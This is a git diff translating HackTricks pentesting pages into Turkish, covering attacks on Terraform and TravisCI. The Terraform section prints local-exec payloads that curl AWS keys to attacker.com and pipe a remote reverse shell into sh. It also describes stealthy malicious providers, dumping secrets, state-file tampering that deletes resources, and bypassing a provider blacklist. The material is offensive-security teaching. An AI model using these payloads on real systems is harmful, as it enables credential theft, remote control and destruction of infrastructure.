"evil/evil" - version = "1.0" - } - } - } +terraform { +required_providers { +evil = { +source = "evil/evil" +version = "1.0" +} +} +} provider "evil" {} ``` +Sağlayıcı `init` sırasında indirilir ve `plan` çalıştırıldığında kötü niyetli kodu çalıştırır. -The provider is downloaded in the `init` and will run the malicious code when `plan` is executed +Bir örneği [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) adresinde bulabilirsiniz. -You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +**Dış bir referans kullanma** -**Using an external reference** - -Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi daha gizli ama birincisinden daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek: +- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell içeren **dış bir kaynağı** yükleyebilirsiniz: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` - You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Dış kaynakta, **ref** özelliğini kullanarak **repo içindeki bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: - +Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile enjekte ederek RCE elde etmek için de kötüye kullanılabilir.**\ +Sadece aşağıdaki gibi bazı yüklerin `main.tf` dosyasında sona erdiğinden emin olmalısınız: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` +Aşağıdaki **önceki teknikten gelen önerileri** takip ederek bu saldırıyı **dış referanslar kullanarak daha gizli bir şekilde** gerçekleştirin. -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**. - -## Secrets Dumps - -You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like: +## Gizli Deşifreler +Terraform dosyasına aşağıdaki gibi bir şey ekleyerek `terraform apply` çalıştırarak **terraform tarafından kullanılan gizli değerlerin dökümlerini** alabilirsiniz: ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +## Terraform Durum Dosyalarını Kötüye Kullanma -## Abusing Terraform State Files +Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kodunu değiştiremiyorsanız, [**bu araştırma**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) dosyadan yararlanmak için bazı ilginç seçenekler sunmaktadır: -In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file: +### Kaynakları Silme -### Deleting resources +Kaynakları yok etmenin 2 yolu vardır: -There are 2 ways to destroy resources: - -1. **Insert a resource with a random name into the state file pointing to the real resource to destroy** - -Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page: +1. **Gerçek yok edilecek kaynağa işaret eden rastgele bir isimle durum dosyasına bir kaynak ekleyin** +Terraform, kaynağın mevcut olmaması gerektiğini göreceği için, onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadan örnek: ```json { - "mode": "managed", - "type": "aws_instance", - "name": "example", - "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", - "instances": [ - { - "attributes": { - "id": "i-1234567890abcdefg" - } - } - ] +"mode": "managed", +"type": "aws_instance", +"name": "example", +"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", +"instances": [ +{ +"attributes": { +"id": "i-1234567890abcdefg" +} +} +] }, ``` +2. **Silinmesi gereken kaynağı, güncellenemeyecek şekilde değiştirin (bu nedenle silinip yeniden oluşturulacak)** -2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)** - -For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it. +Bir EC2 örneği için, örneğin türünü değiştirmek, terraform'un onu silip yeniden oluşturması için yeterlidir. ### RCE -It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research: - +Ayrıca, [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) ve terraform durum dosyasındaki sağlayıcılardan birini kötü niyetli olanla değiştirmek veya kötü niyetli sağlayıcı ile boş bir kaynak eklemek de mümkündür. Orijinal araştırmadan örnek: ```json "resources": [ { - "mode": "managed", - "type": "scaffolding_example", - "name": "example", - "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", - "instances": [ +"mode": "managed", +"type": "scaffolding_example", +"name": "example", +"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", +"instances": [ - ] +] }, ``` +### Kara listeye alınmış sağlayıcıyı değiştirme -### Replace blacklisted provider - -In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well. - +`hashicorp/external` kara listeye alındığında bir durumla karşılaşırsanız, `external` sağlayıcısını aşağıdaki gibi yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan external sağlayıcısının bir fork'unu kullanıyoruz. Kendi fork'unuzu veya yeniden uygulamanızı da yayınlayabilirsiniz. ```terraform terraform { - required_providers { - external = { - source = "nazarewk/external" - version = "3.0.0" - } - } +required_providers { +external = { +source = "nazarewk/external" +version = "3.0.0" +} +} } ``` - -Then you can use `external` as per normal. - +Sonra `external`'ı normal şekilde kullanabilirsiniz. ```terraform data "external" "example" { - program = ["sh", "-c", "whoami"] +program = ["sh", "-c", "whoami"] } ``` +## Otomatik Denetim Araçları -## Automatic Audit Tools +### [**Snyk Altyapı Kod Olarak (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) - -Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats. - -- **Features:** - - Real-time scanning for security vulnerabilities and compliance issues. - - Integration with version control systems (GitHub, GitLab, Bitbucket). - - Automated fix pull requests. - - Detailed remediation advice. -- **Sign Up:** Create an account on [Snyk](https://snyk.io/). +Snyk, Terraform, CloudFormation, Kubernetes ve diğer IaC formatlarındaki güvenlik açıklarını ve yanlış yapılandırmaları tespit eden kapsamlı bir Altyapı Kod Olarak (IaC) tarama çözümü sunar. +- **Özellikler:** +- Güvenlik açıkları ve uyumluluk sorunları için gerçek zamanlı tarama. +- Versiyon kontrol sistemleriyle (GitHub, GitLab, Bitbucket) entegrasyon. +- Otomatik düzeltme çekme istekleri. +- Ayrıntılı düzeltme tavsiyeleri. +- **Kaydolun:** [Snyk](https://snyk.io/) üzerinde bir hesap oluşturun. ```bash brew tap snyk/tap brew install snyk snyk auth snyk iac test /path/to/terraform/code ``` - ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages. +**Checkov**, kod olarak altyapı (IaC) için bir statik kod analiz aracıdır ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşimi analizi (SCA) aracıdır. -It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning. - -It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs). +[Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) kullanarak sağlanan bulut altyapısını tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder. +Açık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Sızıntılar (CVE'ler) taraması olan [Yazılım Bileşimi Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir. ```bash pip install checkov checkov -d /path/to/folder ``` - ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code. +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için negatif test yeteneğini sağlamak amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir. -- **compliance:** Ensure the implemented code is following security standards, your own custom standards -- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ? -- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** it validates your code before it is deployed -- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated. -- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible. +- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun. +- **davranış odaklı geliştirme:** Neredeyse her şey için BDD'miz var, neden IaC için olmasın? +- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın. +- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular. +- **entegrasyonu kolay:** Tüm dağıtımların doğrulandığından emin olmak için pipeline'ınızda (veya git hook'larında) çalıştırılabilir. +- **görev ayrımı:** Testlerinizi ayrı bir ekibin sorumlu olduğu farklı bir depoda tutabilirsiniz. > [!NOTE] -> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool. - +> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bu sağlayıcılara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız. ```bash pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` - ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations. - -- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers -- ⛔ Hundreds of built-in rules -- 🪆 Scans modules (local and remote) -- ➕ Evaluates HCL expressions as well as literal values -- ↪️ Evaluates Terraform functions e.g. `concat()` -- 🔗 Evaluates relationships between Terraform resources -- 🧰 Compatible with the Terraform CDK -- 🙅 Applies (and embellishes) user-defined Rego policies -- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. -- 🛠️ Configurable (via CLI flags and/or config file) -- ⚡ Very fast, capable of quickly scanning huge repositories +From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec, terraform kodunuzun statik analizini kullanarak potansiyel yanlış yapılandırmaları tespit eder. +- ☁️ Tüm büyük (ve bazı küçük) bulut sağlayıcıları arasında yanlış yapılandırmaları kontrol eder +- ⛔ Yüzlerce yerleşik kural +- 🪆 Modülleri tarar (yerel ve uzaktan) +- ➕ HCL ifadelerini ve literal değerleri değerlendirir +- ↪️ Terraform fonksiyonlarını değerlendirir, örneğin `concat()` +- 🔗 Terraform kaynakları arasındaki ilişkileri değerlendirir +- 🧰 Terraform CDK ile uyumlu +- 🙅 Kullanıcı tanımlı Rego politikalarını uygular (ve süsler) +- 📃 Birden fazla çıktı formatını destekler: lovely (varsayılan), JSON, SARIF, CSV, CheckStyle, JUnit, metin, Gif. +- 🛠️ Yapılandırılabilir (CLI bayrakları ve/veya yapılandırma dosyası aracılığıyla) +- ⚡ Çok hızlı, büyük depoları hızlı bir şekilde tarama yeteneğine sahip ```bash brew install tfsec tfsec /path/to/folder ``` - ### [KICKS](https://github.com/Checkmarx/kics) -Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx. - -**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project. +Geliştirme döngüsünün erken aşamalarında **KICS** ile altyapı kodunuzda güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını bulun. +**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için gereklidir. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` - ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to: - -- Seamlessly scan infrastructure as code for misconfigurations. -- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture. -- Detect security vulnerabilities and compliance violations. -- Mitigate risks before provisioning cloud native infrastructure. -- Offers flexibility to run locally or integrate with your CI\CD. +From the [**docs**](https://github.com/tenable/terrascan): Terrascan, Kod Olarak Altyapı için statik bir kod analizörüdür. Terrascan, şunları yapmanıza olanak tanır: +- Yanlış yapılandırmalar için altyapıyı kod olarak sorunsuz bir şekilde tarayın. +- Sağlanan bulut altyapısını, duruş kayması oluşturan yapılandırma değişiklikleri için izleyin ve güvenli bir duruşa geri dönmeyi sağlayın. +- Güvenlik açıklarını ve uyum ihlallerini tespit edin. +- Bulut yerel altyapıyı sağlamadan önce riskleri azaltın. +- Yerel olarak çalıştırma veya CI\CD'nizle entegre etme esnekliği sunar. ```bash brew install terrascan ``` +## Referanslar -## References - -- [Atlantis Security](atlantis-security.md) +- [Atlantis Güvenliği](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 63a3bb5c8..3ef09123d 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective +Github PR'ları, bu platformların bir saldırgan perspektifinden nasıl (kötüye) kullanılacağını açıklayan katkılara açıktır. - Drone - TeamCity @@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke - Rancher - Mesosphere - Radicle -- Any other CI/CD platform... +- Diğer herhangi bir CI/CD platformu... {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index cff623392..e5d62ff19 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -1,69 +1,65 @@ -# TravisCI Security +# TravisCI Güvenliği {{#include ../../banners/hacktricks-training.md}} -## What is TravisCI +## TravisCI Nedir -**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**. +**Travis CI**, çeşitli **farklı git platformlarında** barındırılan yazılım projelerini oluşturmak ve test etmek için kullanılan **barındırılan** veya yerinde **sürekli entegrasyon** hizmetidir. {{#ref}} basic-travisci-information.md {{#endref}} -## Attacks +## Saldırılar -### Triggers +### Tetikleyiciler -To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**: +Bir saldırı başlatmak için önce bir yapıyı nasıl tetikleyeceğinizi bilmeniz gerekir. Varsayılan olarak, TravisCI **push'lar ve pull request'ler üzerinde bir yapıyı tetikler**: ![](<../../images/image (145).png>) -#### Cron Jobs +#### Cron Görevleri -If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build: +Web uygulamasına erişiminiz varsa, **yapıyı çalıştırmak için cron'lar ayarlayabilirsiniz**, bu kalıcılık için veya bir yapıyı tetiklemek için faydalı olabilir: ![](<../../images/image (243).png>) > [!NOTE] -> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162). +> [bu](https://github.com/travis-ci/travis-ci/issues/9162) kaynağına göre `.travis.yml` içinde cron ayarlamanın mümkün olmadığını gösteriyor. -### Third Party PR +### Üçüncü Taraf PR -TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets: +TravisCI varsayılan olarak üçüncü taraflardan gelen PR'larla ortam değişkenlerini paylaşmayı devre dışı bırakır, ancak biri bunu etkinleştirebilir ve ardından depoya PR'lar oluşturarak gizli bilgileri dışarı sızdırabilirsiniz: ![](<../../images/image (208).png>) -### Dumping Secrets +### Gizli Bilgileri Dökme -As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines). +[**temel bilgiler**](basic-travisci-information.md) sayfasında açıklandığı gibi, 2 tür gizli bilgi vardır. **Ortam Değişkenleri gizli bilgileri** (web sayfasında listelenen) ve **özel şifreli gizli bilgiler**, bunlar `.travis.yml` dosyasında base64 olarak saklanır (her ikisi de şifreli olarak saklandığında son makinelerde ortam değişkenleri olarak sonlanır). -- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build. -- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**. -- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as: +- **Ortam Değişkenleri** olarak yapılandırılan **gizli bilgileri listelemek** için **projenin** **ayarlarına** gidin ve listeyi kontrol edin. Ancak, burada ayarlanan tüm proje ortam değişkenlerinin bir yapı tetiklendiğinde görüneceğini unutmayın. +- **Özel şifreli gizli bilgileri** listelemek için yapabileceğiniz en iyi şey **`.travis.yml` dosyasını kontrol etmektir**. +- **Şifreli dosyaları** listelemek için, yapılandırma dosyasında `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` gibi satırlar için depoda **`.enc` dosyalarını** kontrol edebilir veya **Ortam Değişkenleri** içinde **şifreli iv ve anahtarlar** arayabilirsiniz: ![](<../../images/image (81).png>) -### TODO: +### YAPILACAKLAR: -- Example build with reverse shell running on Windows/Mac/Linux -- Example build leaking the env base64 encoded in the logs +- Windows/Mac/Linux üzerinde çalışan ters shell ile örnek yapı +- Günlüklerde base64 kodlu ortamı sızdıran örnek yapı -### TravisCI Enterprise +### TravisCI Kurumsal -If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to: +Bir saldırgan **TravisCI kurumsal** kullanan bir ortamda sona ererse (bu konuda daha fazla bilgi [**temel bilgiler**](basic-travisci-information.md#travisci-enterprise) sayfasında), **Worker'da yapıları tetikleyebilir.** Bu, bir saldırganın o sunucuya yanlamasına geçebileceği anlamına gelir ve bu sunucudan: -- escape to the host? -- compromise kubernetes? -- compromise other machines running in the same network? -- compromise new cloud credentials? +- ana makineye kaçabilir mi? +- kubernetes'i tehlikeye atabilir mi? +- aynı ağda çalışan diğer makineleri tehlikeye atabilir mi? +- yeni bulut kimlik bilgilerini tehlikeye atabilir mi? -## References +## Referanslar - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/) - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 46b10bf38..202ee073b 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -1,48 +1,45 @@ -# Basic TravisCI Information +# Temel TravisCI Bilgisi {{#include ../../banners/hacktricks-training.md}} -## Access +## Erişim -TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI. +TravisCI, Github, Bitbucket, Assembla ve Gitlab gibi farklı git platformlarıyla doğrudan entegre olur. Kullanıcıdan, TravisCI ile entegre etmek istediği reposuna erişim izni vermesi istenir. -For example, in Github it will ask for the following permissions: +Örneğin, Github'da aşağıdaki izinler istenir: -- `user:email` (read-only) -- `read:org` (read-only) -- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations. +- `user:email` (sadece okunabilir) +- `read:org` (sadece okunabilir) +- `repo`: Kamu ve özel depolar ve organizasyonlar için kod, commit durumları, işbirlikçileri ve dağıtım durumlarına okuma ve yazma erişimi verir. -## Encrypted Secrets +## Şifreli Gizli Bilgiler -### Environment Variables +### Ortam Değişkenleri -In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build. +TravisCI'da, diğer CI platformlarında olduğu gibi, **repo seviyesinde gizli bilgileri kaydetmek** mümkündür; bu bilgiler şifrelenerek kaydedilir ve **şifrelenmiş olarak, build'i gerçekleştiren makinenin ortam değişkenine** itilir. ![](<../../images/image (203).png>) -It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will). +**Gizli bilgilerin hangi dallarda mevcut olacağını** belirtmek mümkündür (varsayılan olarak hepsi) ve ayrıca TravisCI'nın **değerini gizleyip gizlememesi gerektiği** (varsayılan olarak gizleyecektir) belirtilebilir. -### Custom Encrypted Secrets +### Özel Şifreli Gizli Bilgiler -For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository. - -You can access the public key of one repo with: +**Her repo için** TravisCI, bir **RSA anahtar çifti** oluşturur, **özel** olanı **saklar** ve depo sahiplerine **erişim** sağlayanların kullanımına **açık anahtarı** sunar. +Bir reposunun açık anahtarına şu şekilde erişebilirsiniz: ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` - -Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**. +Sonra, bu ayarı kullanarak **gizli bilgileri şifreleyebilir ve bunları `.travis.yaml` dosyanıza ekleyebilirsiniz**. Gizli bilgiler **derleme çalıştırıldığında çözülür** ve **çevresel değişkenlerde** erişilebilir hale gelir. ![](<../../images/image (139).png>) -Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings. +Bu şekilde şifrelenmiş gizli bilgilerin ayarların çevresel değişkenlerinde listelenmeyeceğini unutmayın. -### Custom Encrypted Files - -Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**: +### Özel Şifreli Dosyalar +Önceki gibi, TravisCI ayrıca **dosyaları şifrelemeye ve ardından derleme sırasında çözmeye** de izin verir: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -52,7 +49,7 @@ storing secure env variables for decryption Please add the following to your build script (before_install stage in your .travis.yml, for instance): - openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d +openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d Pro Tip: You can add it automatically by running with --add. @@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` - -Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: +Not edin ki bir dosyayı şifrelerken, repoda 2 Env Değişkeni yapılandırılacaktır: ![](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to. +Travis CI Enterprise, **Travis CI'nin yerel versiyonudur**, bunu **altyapınızda** dağıtabilirsiniz. Travis CI'nin 'sunucu' versiyonu olarak düşünün. Travis CI kullanmak, istediğiniz gibi yapılandırıp güvence altına alabileceğiniz bir ortamda kullanımı kolay bir Sürekli Entegrasyon/Sürekli Dağıtım (CI/CD) sistemini etkinleştirmenizi sağlar. -**Travis CI Enterprise consists of two major parts:** +**Travis CI Enterprise iki ana bölümden oluşur:** -1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc. -2. TCI **Worker** and build environment images (also called OS images). +1. TCI **hizmetleri** (veya TCI Temel Hizmetleri), sürüm kontrol sistemleriyle entegrasyondan, derlemeleri yetkilendirmeye, derleme işlerini planlamaya kadar sorumludur. +2. TCI **Worker** ve derleme ortamı görüntüleri (aynı zamanda OS görüntüleri olarak da adlandırılır). -**TCI Core services require the following:** +**TCI Temel hizmetleri aşağıdakileri gerektirir:** -1. A **PostgreSQL11** (or later) database. -2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required -3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis 